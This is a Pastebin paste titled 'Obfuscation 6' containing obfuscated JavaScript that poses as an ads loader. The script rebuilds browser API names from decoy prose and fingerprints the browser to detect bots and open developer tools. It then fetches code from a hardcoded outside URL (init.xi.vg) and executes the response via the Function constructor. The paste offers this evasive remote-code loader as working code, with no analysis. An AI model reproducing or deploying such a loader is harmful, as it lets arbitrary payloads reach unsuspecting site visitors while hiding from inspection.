Advertisement
StanislavPipa

Obfuscation 6

Aug 5th, 2019
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var URL = "https://init.xi.vg/ads/mobile.php?alert";
  2.  
  3. +function(){
  4.   var chunk = navigator, evenly = window, final = document, compact = Blob, other = performance;
  5.   var included = '[a-zA-Z]';
  6.   var equality = 'gi';
  7.   var order = new Image();
  8.   var determined = new Date;
  9.  
  10.   function difference(rank, suit) {
  11.     return suit ? rank[0].toUpperCase()+rank.substring(1) : rank.toLowerCase();
  12.   }
  13.  
  14.   function concat (suit) { return suit.split('').reverse().join('') }
  15.  
  16.   function iteratee(rank, suit) { return new RegExp(rank, suit) }
  17.  
  18.   function identity(data) {
  19.     var props = Object.keys(data), tmps = props.map(function (prop) {
  20.       return data[prop];
  21.     });
  22.     return props.concat(tmps);
  23.   }
  24.  
  25.   function _getPropertiesOrValues(el, suit) {
  26.     return suit ? Object.keys(el) : Object.keys(el).map(function (prop) {
  27.         return el[prop];
  28.       });
  29.   }
  30.  
  31.   function accepts(rank, suit) { return rank.slice(suit[0], suit[1]) }
  32.  
  33.   function invoked(data) {
  34.     return data.reduce(function (acc, sec) { return acc.concat(sec) })
  35.   }
  36.  
  37.   function drop(arg) { return arg.toString() }
  38.  
  39.   function greet(rank) {
  40.     return rank.map(function (suit) {
  41.       return suit.reduce(function (acc, next, key) {
  42.         if (key === 1){ return [acc, next] } var uniq = true;
  43.         acc.forEach(function (el) {
  44.           if (next === el) { uniq = false }
  45.         });
  46.  
  47.         if (uniq) { acc.push(next); return acc }
  48.         return acc;
  49.       });
  50.     })
  51.   }
  52.  
  53.   function gaps (data, rank) {
  54.     if (!rank.and){ return data.slice(rank.propEq) }
  55.     return data.slice(rank.propEq, rank.and);
  56.   }
  57.  
  58.   function adjust(suit, el) { return el.map(function (prop) { return suit[prop] }); }
  59.  
  60.   function contains(combinator, any, otherwise) {
  61.     return otherwise ? any in (combinator||evenly): combinator in (any||evenly);
  62.   }
  63.  
  64.   var fixedArity = function(bug, plus, gin) { return name ? bug.light = plus + gin : plus + 9 };
  65.  
  66.   var applySpec = function(element, alt) { return alt.slice(element).style };
  67.  
  68.   var sameTypes = function(open, tent, kit) {
  69.     var persis = kit.slice(tent.web), data = open.screen, color = depth.BASE;
  70.     return persis.propertyName||color.pth;
  71.   };
  72.  
  73.   var value = function(bar, rect, bly) {
  74.     if (rect) { bar = rect.tent.match(bly) } else { bar = 'webside' }
  75.     return assem.concat(bar);
  76.   };
  77.  
  78.   setTimeout(function() {
  79.     function aperture (rank) {
  80.       var tmp = drop(1234).split(''), _reg = [3.5,3.7,3.12,3.7].map(function(el) {
  81.         return '{'+el.toString().replace('.', ',')+'}';
  82.       });
  83.  
  84.       var map = rank.map(function(el, ind) {
  85.         return drop(el).match(iteratee(included+_reg[ind], equality));
  86.       });
  87.  
  88.       tmp = tmp.map(function(el) { return Number(el) });
  89.  
  90.       var empty = greet(map).map(function(els, key) {
  91.         if (key === tmp[key] - 1 && key === tmp[2]) {
  92.           var res = [difference(accepts(els[7], [0, -4]), true) + difference(els[9], true)+els[3],
  93.             accepts(els[7], [3]) + els[1], accepts(
  94.               els[10], [0, -3])+
  95.             els[4], difference(els[2], true)].map(function(tmp, ind) {
  96.             return ind === 3 ? !contains(tmp) : contains(tmp) }); res.push(1);
  97.           return res;
  98.         }
  99.         if (key === tmp[key] - 1 && key === tmp[1]) {
  100.           return [(contains((els[5]+els[2]).toUpperCase())||compact.prototype[els[7]+els[3]+difference(els[6], true)]),
  101.             contains(els[1]+difference(els[8], true)+difference(els[12])), evenly[els[9]][els[10]+difference(els[11], true)],
  102.             !(Object['getOwn'+difference(els[14], true)+'s'](evenly[els[9]])[0]+'').match(els[15])];
  103.         }
  104.         if (key === tmp[key] - 1 && key === tmp[3]-4) {
  105.           return [2,3].map(function(el, ind) {
  106.             return ind === 0 ? contains('De'+els[el]) : !(chunk[accepts(els[el], [0, -1])+els[4]+'s'][1] &&
  107.               chunk[accepts(els[el], [0, -1])+els[4]+'s'][1][els[6]].match(els[7]))
  108.           });
  109.         }
  110.         if (key === tmp[key] - 1 && key === tmp[0]) {
  111.           return contains(els[2], final[accepts(final.nodeName, [1])+difference(els[1], true)][els[5]]);
  112.         }
  113.       });
  114.  
  115.       return empty.map(function(tmp) {
  116.         if (typeof tmp === 'boolean') { return tmp }
  117.         else {return tmp.reduce(function(acc, sec) { return acc && sec })}
  118.       });
  119.     }
  120.     dispatcher = aperture([fixedArity, applySpec, sameTypes, value]);
  121.   }, 100);
  122.  
  123.   var dispatcher, equals = [39,54,13,24,62],
  124.     least = 'HTTP is a ubiquitous protocol and is one of the cornerstones of the java web. If you are a newcomer to web google application enabled security, a sound knowledge of the HTTP protocol will make your life easier when syndication interpreting findings by automated security tools, and it’s pagead a necessity if you want gen to take such findings further with manual com testing. What follows is a security-focused introduction to the HTTP protocol to help you get crypto started.'
  125.   var converge, arity, divide, produce;
  126.  
  127.   setTimeout(function() {
  128.     function curry(el, keys) { var tmp = el.split(' ');
  129.       return invoked([keys, equals]).map(function(key) {
  130.         return tmp[key];
  131.       });
  132.     }
  133.  
  134.     var capabilities = curry(least, [25,0,48,22]);
  135.     converge = contains(capabilities[0], final) ? 4 : dispatcher[0] ? 2 : 1;
  136.  
  137.     function partial(sute, dist, uniq, non) {
  138.       var tmp = uniq[1]+'s://'+uniq[2]+'2.'+gaps(uniq, {propEq:3, and:-4 }).join('')+'.';
  139.       if (!sute || dist || uniq || !non) {
  140.         return {s:sute,d:dist,u: (tmp+uniq[8]+'/'+uniq[2]+'/'+uniq[5]+'_204?').toLowerCase(),n:non};
  141.       } else if (!sute && !dist && !uniq || !non) {
  142.         return {d: tmp,u:uniq};
  143.       } else {
  144.         return {y: sute.concat(dist), x: tmp};
  145.       }
  146.     }
  147.  
  148.     arity = partial(0,[],capabilities,dispatcher[2]?6:2);
  149.     function regardless(set, data, list) {
  150.       var curried = gaps(capabilities, {propEq:6, and:-1 });
  151.       return typeof (evenly[curry(data, [78])[0]]) == typeof set ||
  152.         (list[curried[0]+difference(curried[1], true)]+[]).match(/"/);
  153.     }
  154.  
  155.     divide = regardless(fixedArity, least, chunk);
  156.  
  157.     produce = dispatcher[3]||dispatcher[0]?/"/:order;
  158.  }, 200);
  159.  
  160.  var duplicates = 'Indicates that the server add encountered an unexpected condition that prevented listen it from fulfilling the request and load state. When ready return status in response Text';
  161.  
  162.  setTimeout(function() {
  163.    function _getWords(data, keys) { return keys.map(function(key) { return data[key] }) }
  164.  
  165.    function _parsString(prop){ return prop.split(' ') }
  166.  
  167.    dissoc = function(list,suit,rank){
  168.      var els1 = _parsString(least), els2 = _parsString(duplicates);
  169.  
  170.      suit = new evenly[suit+difference(els1[0].toLowerCase(), true)+
  171.        difference(els2[16], true)]();
  172.      suit.open(els1[77], list);
  173.      suit[els2[4]+difference(accepts(els2[10], [2, -2]), els1)+
  174.      difference(els2[11], true)+'er'](els2[18], function() {
  175.        this.readyState==4 && this[els2[23]]==200 && rank(this[els2[25]+els2[26]])()
  176.      });
  177.      suit.send();
  178.    }
  179.  }, 300);
  180.  
  181.  function foo(array) {
  182.    var constr = array.reduce(function(proto, ctor) { return proto.u = ctor.type });
  183.    return constr;
  184.  }
  185.  
  186.  function either(suit, rank){
  187.    var el = drop(foo).match( iteratee(included+'{4,6}', equality));
  188.    dissoc(suit, rank, evenly[difference(el[1], el)][el[9]+el[11]].join[el[2]+'u'+el[10]]);
  189.  }
  190.  
  191.  var given = 'Web Browsers are software installed on user PC. To access the Web, you need a web browser, such as safari, Trident, Edge or Firefox';
  192.  
  193.  setTimeout(function() {
  194.    function evolve(data, folder) {
  195.      var suit = [], els = [];
  196.      Object.keys(data).map(function(key) { return data[key].split(' ') })[0]
  197.        .map(function(el, ind) {
  198.        if (ind === 6) { return suit.push(el + difference(Object.keys(data)[0], 9));
  199.        } else if (ind >= 19 && ind !== 22){ return els.push(difference(el).replace(',', '')) }
  200.      });
  201.  
  202.      var res = els.map(function(el, ind) {
  203.        var exp = iteratee(el, equality), usr = folder[suit.join('')];
  204.        if (ind > 0 && ind < 3) {
  205.          return usr.match(exp) && dispatcher[0];
  206.        } else if (ind > 2) {
  207.          return usr.match(exp) && dispatcher[3];
  208.        } else if (ind === 0) {
  209.          return usr.match(exp) && (dispatcher[2] || dispatcher[1]);
  210.        }
  211.  
  212.      });
  213.      return [res[3],res[0],res[1],res[2]].reduce(function(acc, sec) { return acc || sec });
  214.    }
  215.  
  216.    given = evolve({agent: given}, chunk);
  217.  }, 400);
  218.  
  219.  var tomato = { to: 'max', id: 'point', on: 'touch', toggle: 'getter' };
  220.  
  221.  function _func(arg, data) {
  222.    data = '';
  223.    if (arg.length > tomato.length) {
  224.      return arg.map(function(el, ind) { return ind > 5 ? data[el] : data[ind] });
  225.    } else { converge-- }
  226.    return data;
  227.  }
  228.  
  229.  function filter(arg, suit, field, check){
  230.    var prop = Object.keys(arg); tomato.to = !(suit[2]&&!(field[arg.to+
  231.    difference(arg.on, check)+difference(arg.id, field)+'s']||check(prop[2]+arg.on+'start')));
  232.  }
  233.  
  234.  setTimeout(function() { filter(tomato, dispatcher, chunk, contains) }, 500);
  235.  
  236.  function flip (entr, source){
  237.    var hop = typeof this.get(entr); hop.next = source.Proto;
  238.    return hop;
  239.  }
  240.  
  241.  function present (method, el, data) {
  242.    return function() {
  243.      if (!method[data[0]] || !other[data[0]](data[2]).length) { either(URL, 'XML');
  244.      } else { method[data[0]](data[2]).forEach(function(a) {
  245.          a.name.match(arity.u)&&(a[data[1]] || 'h2').slice(~arity.d)==arity.n&&either(URL, 'XML');
  246.        });
  247.      }
  248.    };
  249.  }
  250.  
  251.  function flatten (data) {
  252.    var res = [];
  253.    for (var i = 0; i < 3; i++){
  254.      if (i > 1) {
  255.        res.push('re'+data[3]);
  256.      } else if (i < 1) {
  257.        res.push(data[8]+difference(data[9], true)+'iesBy'+difference(data[6].slice(0, -2), true));
  258.      } else {
  259.        res.push(data[11]+difference(data[15], 1)+data[13]+'col');
  260.      }
  261.    }
  262.    return res;
  263.  }
  264.  
  265.  setTimeout(function() {
  266.    var initAdsLoader = function(a) {
  267.        if (given) {
  268.          if (a && tomato.to) {
  269.            produce['__'+'define'+difference(tomato.toggle, true)+'__'](dispatcher[3]||
  270.            dispatcher[0]?Object.keys(tomato)[0]+difference(typeof tomato.id, true):'id', _func) ;
  271.  
  272.            produce.id = gaps(Object.keys(tomato), {propEq: 2 }).join('');
  273.            console.log(produce);
  274.  
  275.            var suit = drop(flip).match(iteratee(included+'{3,6}', equality));
  276.  
  277.            order.onerror = present(other, suit, flatten(suit));
  278.            converge && (order.src = arity.u + (determined).getTime());
  279.          }
  280.        }
  281.      };
  282.  
  283.    initAdsLoader(!divide);
  284.  }, 500);
  285. }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement